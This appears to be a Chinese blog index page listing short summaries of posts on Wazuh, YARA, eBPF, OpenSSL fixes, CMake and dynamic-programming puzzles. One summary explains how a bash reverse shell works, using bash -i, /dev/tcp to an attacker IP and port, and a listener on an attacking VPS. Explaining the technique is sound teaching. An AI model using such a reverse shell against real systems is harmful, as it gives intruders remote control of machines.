自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(599)
  • 资源 (10)
  • 收藏
  • 关注

原创 wazuh-monitord agent连接监控

ossecc -monitord程序监视agent的连接。此外,它每天或当内部日志达到一定的可配置大小时对其进行旋转和压缩。

2022-10-27 19:00:27 211

原创 @lru_cache 内置 LRU 缓存

Python 内置模块 functools 的一个高阶函数 @lru_cache 是一个为函数提供缓存功能的装饰器,缓存 maxsize 组传入参数,在下次以相同参数调用时直接返回上一次的结果。用以节约高开销或 I/O 函数的调用时间。

2022-10-17 11:50:30 281

原创 wazuh api分析

代码所在路径wazuh\api\scripts\wazuh-apid.py。wazuh api服务进程。wazuh服务端架构。

2022-10-15 18:29:30 211

原创 wazuh集群代码分析(一)

master处理进来的请求并且同步worker进程。wazuh集群请求权限启动同步协议。python中函数名之后跟->1.可以表示一个函数返回的类型。

2022-10-12 21:02:58 241

原创 wazuh集群通信

divide_flag 分割标识,因为最大载荷长度是5242880个字节,如果载荷被分割了则divide_flag标识为b,如果这是被分割的消息的最后一部分或者是一个单独的消息则为-所有集群节点使用该通信协议同步必要的信息,以接收来自agents的报告。command 长度是11个字符,描述这个命令类型,不足11个字符的通过-补齐11个字节。counter 是用于标识消息的消息ID,对于这个消息的响应消息需要带回这个消息ID。通信协议使用在所有通信中(包括集群和api)被定在。Wazuh 集群协议。

2022-10-12 16:55:44 270

原创 发现擅长方向(抉择)

假如让一个小学三年级的学生来做比如他可以通过推理法,推出来答案,那么一年之后他可能完全不知道,他之前是用什么方法算出答案的。如果他过了一年两年之后还能清楚的知道自己过去是用推理法计算出来的,清楚的知道当时自己花费多少时间,多少周折,那么是不是相对不记得之前是怎么计算出这道题答案的同学,他可能在数学方面或者逻辑推理方向更有天分一点。如果已经步入高中面临大学选专业,专业的选择对于人生非常重要,一定要选择自己擅长,喜欢,并且相对有前景的方向。今有雉兔同笼,上有三十五头,下有九十四足,问雉兔各几何?

2022-10-02 14:39:52 407

原创 openssl漏洞检查修复

TLS, SSH, IPSec协商及其他产品中使用的IDEA、DES及Triple DES密码或者3DES及Triple 3DES存在大约四十亿块的生日界,这可使远程攻击者通过Sweet32攻击,获取纯文本数据。链接:https://www.openssl.org/news/secadv/20160922.txt。链接:https://www.openssl.org/news/secadv/20160922.txt。重点:避免使用IDEA、DES和3DES算法。主要是修改conf文件。

2022-09-14 22:38:25 644

原创 shell反弹

/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port。在vps(用于攻击机器)机器监听7777端口,本机器ip地址为192.168.2.200。# 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互。#bash -i 打开一个交互的bash。# >& 将标准错误输出重定向到标准输出。在vps执行任意命令实行攻击。

2022-09-04 23:03:10 230

原创 yara 分析器

yara 安装,测试,分析

2022-08-31 18:04:57 860

转载 linux内核热补丁

数据出错的原因在于,在函数 newb 中,使用到了 a 函数中使用的 edi 寄存器,edi 寄存器中的值在 newb 函数中被修改为 8,当 newb 函数返回后,edi 的值仍然是 8,a 函数继续使用了该值,因此,计算过程变为:8^3 * 4 + 8 = 2056,而正确的计算结果应该是 8^3 * 4 + 4 = 2052。从反汇编中可以看到,函数 a 在调用 b 函数前,将 edi 寄存器的值存在了栈上,调用之后,将栈上的数据再取出,最后进行相加。...

2022-08-29 19:53:28 301

原创 linux http代理设置

【代码】linux http代理设置。

2022-08-29 19:18:50 326

原创 分析kdump(vmcore)

通过虚拟机装centos6.5 下载镜像https://vault.centos.org/6.5/isos/x86_64/CentOS-6.5-x86_64-bin-DVD1.iso 安装完虚拟机之后,更新yum报错。启动失败,由于调试机器的内核版本与产生coredump的机器的内核版本不一致,导致crash启动失败,根据vmcore-dmesg.txt文件可知内核版本2.6.32-431.el6.x86_64,根据。解决方案更新/etc/yum.repos.d/CentOS-Base.repo内容。...

2022-08-25 20:44:44 253

原创 网络中地址端口连写方法

::1111 (错误写法,因为没有区分1111究竟是地址的一部分,还是表示端口)[::]:1111 (正确写法)

2022-08-13 07:38:41 85

原创 redis scan

当我们需要遍历Redis所有key或者指定模式的key时,首先想到的是KEYS命令,但是如果redis数据非常大,并且key也非常多的情况下,查询的时候很可能会很慢,造成整个redis阻塞,那么有什么办法解决呢?当然有了,今天就简单的介绍一下,如:scan和hscan格式如下:SCAN cursor [MATCH pattern] [COUNT count]HSCAN key cur......

2022-08-09 18:14:07 28

原创 yara 规则

非常棒的各类yara规则。

2022-08-09 18:10:07 100

原创 libevent 之 evconnlistener_new_bind

libevent 之 evconnlistener_new_bind

2022-07-20 18:09:35 100

原创 evutil_make_internal_pipe_: pipe: Too many open files

#10 0x00007f1fa8a97ce9 in __run_exit_handlers () from /lib64/libc.so.6#11 0x00007f1fa8a97d37 in exit () from /lib64/libc.so.6#12 0x00007f1fa998ba38 in event_exit (errcode=errcode@entry=1) at log.c:103#13 0x00007f1fa998bde7 in event_sock_err (eval=eval@.

2022-07-20 18:08:30 87

转载 利用eBPF探测Rootkit漏洞

利用eBPF探测Rootkit漏洞

2022-07-20 18:05:32 66

转载 eBPF/Ftrace

no space left on device 无处遁形最近在生产环境中遇到了几次创建容器报错 ”no space left on device“ 失败的案例,但是排查过程中发现磁盘使用空间和 inode 都比较正常。在常规的排查方式都失效的情况下,有没有快速通用思路可以定位问题根源呢?本文是在单独环境中使用 eBPF + Ftrace 分析和排查问题流程的记录,考虑到该方式具有一定的通用性,特整理记录,希望能够起到抛砖引玉的作用。作者水平有限,思路仅供参考,难免存在某些判断或假设存在不足,欢迎

2022-07-20 18:02:23 51

原创 动态规划解题思路

1.找子问题2.找子问题的递推关系3.填充DP数组4.优化空间复杂度

2022-05-04 10:18:15 228

原创 打家劫舍二

你是一个专业的小偷,计划偷窃沿街的房屋,每间房内都藏有一定的现金。这个地方所有的房屋都 围成一圈 ,这意味着第一个房屋和最后一个房屋是紧挨着的。同时,相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警 。给定一个代表每个房屋存放金额的非负整数数组,计算你 在不触动警报装置的情况下 ,今晚能够偷窃到的最高金额。示例1:输入:nums = [2,3,2]输出:3解释:你不能先偷窃 1 号房屋(金额 = 2),然后偷窃 3 号房屋(金额 = 2), 因为他..

2022-04-27 22:13:50 39

原创 打家劫舍

你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。给定一个代表每个房屋存放金额的非负整数数组,计算你 不触动警报装置的情况下 ,一夜之内能够偷窃到的最高金额。示例 1:输入:[1,2,3,1]输出:4解释:偷窃 1 号房屋 (金额 = 1) ,然后偷窃 3 号房屋 (金额 = 3)。 偷窃到的最高金额 = 1 + 3 = 4 。示例 2:输入..

2022-04-27 22:10:38 46

原创 最小花费爬楼梯

给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择向上爬一个或者两个台阶。你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。请你计算并返回达到楼梯顶部的最低花费。示例 1:输入:cost = [10,15,20]输出:15解释:你将从下标为 1 的台阶开始。- 支付 15 ,向上爬两个台阶,到达楼梯顶部。总花费为 15 。示例 2:输入:cost = [1,100,1,1,1,100,1,1,1..

2022-04-27 22:08:46 56

原创 centos内核升级

查看操作系统相关信息[root@localhost yum.repos.d]# uname -aLinux localhost.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux查看当前默认升级到的版本[root@localhost yum.repos.d]# yum list centos-releaseLoaded plugins:

2022-04-12 18:39:13 1084

原创 cmake 排除模式

1.指定某个或某几个文件set(SRC_FILES ../src/a.cpp)set(SRC_FILES ../src/a.cpp ../src/f.cpp)2.使用file(GLOB ,匹配cpu1.cpp cpu2.cpp, 不会匹配cpu3.cppfile(GLOB SRC_FILES "../src/cpu[1-2].cpp")3.先用aux_source_directory指定包含某个目录(不会包含指定目录中的子目录),再使用list( REMOVE_ITEM来排除a.

2022-04-11 22:34:51 1735

原创 cmake 升级

危险动作#centos 7.4 默认cmake版本cmake -versioncmake version 2.8.12.2#注意这里如果这样卸载,会把之前用 cmake 编译好的包都给卸载掉[root@localhost ~]# yum remove -y cmake正确姿势cd ~/Downloadwget https://cmake.org/files/v3.16/cmake-3.16.9-Linux-x86_64.tar.gztar -xzvf cmake-3.16.9-.

2022-04-07 20:00:14 797

原创 动态规划 爬楼梯

假设你正在爬楼梯。需要 n 阶你才能到达楼顶。每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢?示例 1:输入:n = 2输出:2解释:有两种方法可以爬到楼顶。1. 1 阶 + 1 阶2. 2 阶示例 2:输入:n = 3输出:3解释:有三种方法可以爬到楼顶。1. 1 阶 + 1 阶 + 1 阶2. 1 阶 + 2 阶3. 2 阶 + 1 阶提示:1 <= n <= 45递归解法class Solution {pub.

2022-04-02 18:38:59 155

原创 动态规划-斐波那契数

斐波那契数(通常用F(n) 表示)形成的序列称为 斐波那契数列 。该数列由0 和 1 开始,后面的每一项数字都是前面两项数字的和。也就是:F(0) = 0,F(1)= 1F(n) = F(n - 1) + F(n - 2),其中 n > 1给定n ,请计算 F(n) 。示例 1:输入:n = 2输出:1解释:F(2) = F(1) + F(0) = 1 + 0 = 1示例 2:输入:n = 3输出:2解释:F(3) = F(2) + F(1) = 1 + 1...

2022-03-31 18:51:28 362

原创 动态规划-泰波那契序列

泰波那契序列Tn定义如下:T0 = 0, T1 = 1, T2 = 1, 且在 n >= 0的条件下 Tn+3 = Tn + Tn+1 + Tn+2给你整数n,请返回第 n 个泰波那契数Tn 的值。示例 1:输入:n = 4输出:4解释:T_3 = 0 + 1 + 1 = 2T_4 = 1 + 1 + 2 = 4示例 2:输入:n = 25输出:1389537提示:0 <= n <= 37答案保证是一个 32 位整数,即ans...

2022-03-31 18:50:54 385

原创 Too many open files

coredump堆栈#10 0x00007f1fa8a97ce9 in __run_exit_handlers () from /lib64/libc.so.6#11 0x00007f1fa8a97d37 in exit () from /lib64/libc.so.6#12 0x00007f1fa998ba38 in event_exit (errcode=errcode@entry=1) at log.c:103#13 0x00007f1fa998bde7 in event_sock_err

2022-03-30 21:59:38 841

原创 上帝函数C

“上帝函数”是指实现了高级策略的函数。如果在程序中使用这种函数,会导致链接器向可执行文件中添加许多库函数。在嵌入式系统中,可执行文件的增大会耗尽物理内存;而在桌面级计算机上,可执行文件的增大则会增加虚拟内存分页。在许多现有的库中都存在着性能昂贵的上帝函数。优秀的库在设计时会移除这些函数。但是如果将库作为框架设计,则无法避免上帝函数。#include <stdio.h>int main(int, char **){ printf(“hello world !\n”)

2022-03-23 14:11:38 813

原创 C++11 auto 类型指示符

auto声明的变量必须被初始化,以使编译器能够从其初始化表达式中推导出其类型。从这个意义上来讲,auto并非一种“类型”声明,而是一个类型声明时的“占位符”,编译器在编译时期会将auto替代为变量实际的类型。auto优势(一)auto推导的一个最大优势就是在拥有初始表达式的复杂类型变量声明时的简化代码。例如void loop(std::vector<std::string> &val){ //这里进行了较长的书写 std::vector<std::st...

2022-03-15 18:40:14 712

转载 分布式选举算法raft(选举算法)

目录raft算法概览 leader election term 选举过程详解 log replication Replicated state machines 请求完整流程 safety corner case stale leader State Machine Safety leader crash 总结 references正文  raft是工程上使用较为广泛的强一致性、去中心化、高可用的分布式协议。在这里强调了是在工程上,因为在学术理论界

2022-03-11 19:06:40 1069 2

原创 算法分类规划

字符串 数组 堆、栈与队列 链表 哈希与映射 树 排序与检索 动态规划 图论 数学&位运算

2022-03-09 20:30:18 142

原创 62进制加法

题目:实现62进制加法0-9,a-z,A-Z例子:acz + AB方法一:通过从字符串尾部,开始相加,边加边转换。方法二:通过将62进制字符串转换成10进制字符串,然后计算完结果,在转换成62进制字符串。...

2022-03-01 22:56:18 134

转载 Linux虚拟地址空间布局,进程栈,线程栈

本文转自多个博客,以及最后有我的总结。我没有单独从头到尾写一个总结的原因是别人已经写得很好了,我不花大量时间是无法达到这水平的。一:Linux虚拟地址空间布局(转自:Linux虚拟地址空间布局)在多任务操作系统中,每个进程都运行在属于自己的内存沙盘中。这个沙盘就是虚拟地址空间(Virtual Address Space),在32位模式下它是一个4GB的内存地址块。在Linux系统中, 内核进程和用户进程所占的虚拟内存比例是1:3,而Windows系统为2:2(通过设置Large-Add.

2022-02-28 21:08:50 330

转载 多线程下的信号

5. 线程和信号5.1 多线程中的信号(1)在Linux的多线程中使用信号机制,与在进程中使用信号机制有着根本的区别。在进程环境中,对信号的处理是,先注册信号处理函数,当信号异步发生时,调用处理函数来处理信号。它完全是异步的。因此,信号处理函数里有时要考虑某些函数可重入或被异步信号中断后的处理。(2)然而,多线程中处理信号的原则却完全不同,它的基本原则是:将对信号的异步处理,转换成同步处理,也就是说用一个线程专门的来“同步等待”信号的到来,而其它的线程可以完全不被该信号中断/打断(interru

2022-02-25 11:02:07 316

原创 jemalloc 使用

1.安装wget https://github.com/jemalloc/jemalloc/archive/refs/tags/5.2.1.tar.gztar -zxvf 5.2.1.tar.gz./autogen.sh./configure --enable-debug --enable-profmakemake install注意:不要在虚拟机共享目录下编译,否则make会报错。因为windows系统不支持软链接或者硬链接。参考文章ln: failed to crea

2022-01-18 20:02:44 1138

原创 perf mem failed: memory events not supported

问题 perf mem 提示以下错误[root@localhost bin]# perf mem -t load report -p 2446 --sort=mem --sleep 10 failed: memory events not supported分析Link: http://lkml.kernel.org/n/tip-r8smhxjfe69q67jwt7mzs0e9@git.kernel.orgSigned-off-by: Jiri Olsa <jolsa@k..

2022-01-14 11:59:53 561

原创 es查询优化

查询优化Give memory to the filesystem cache Use faster hardware Document modeling Search as few fields as possible Pre-index data Consider mapping identifiers askeyword Avoid scripts Search rounded dates Force-merge read-only indices Warm up glob...

2022-01-01 09:05:20 995

消息队列比较Kafka, RabbitMQ, RocketMQ, ActiveMQ and Pulsar

Kafka, RabbitMQ, RocketMQ, ActiveMQ and Pulsar

2022-10-05

web前端 javascript

web前端 javascript

2022-09-19

xshell7 free for home/school

xshell7 free for home/school

2022-03-26

OpenResty 最佳实践

。由于之前一直混迹在 Python 圈子里面,也接触过 Nginx C 模块的高性能开发,一直想找到一个兼备 Python 快速 开发和 Nginx C 模块高性能的产品。看到 OpenResty 后,有发现新大陆的感觉。

2020-11-28

eBPF探索之旅-又拍云OpenTalk

BPF 基于寄存器虚拟机实现(支持 jit),实现了将过 滤包的逻辑移植到内核中: ① 用户态通过 BPF 接口将用户代码编译成字节码后, 尝试加载到BPF虚拟机中 ②内核校验用户的代码是否安全,如果安全,用户态 代码才能够在内核中运行

2020-11-28

go语言程序设计

简体中文版

2017-03-24

mp4文件格式

mp4文件格式

2013-04-09

COM技术内幕

COM技术内幕

2013-03-25

响应鼠标按下和抬起

响应鼠标按下和抬起

2013-01-25

MFC窗口切换

MFC窗口切换

2013-01-25

socket阻塞与非阻塞

socket阻塞与非阻塞

2013-01-25

CFile操作

CFile操作详解

2012-11-22

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除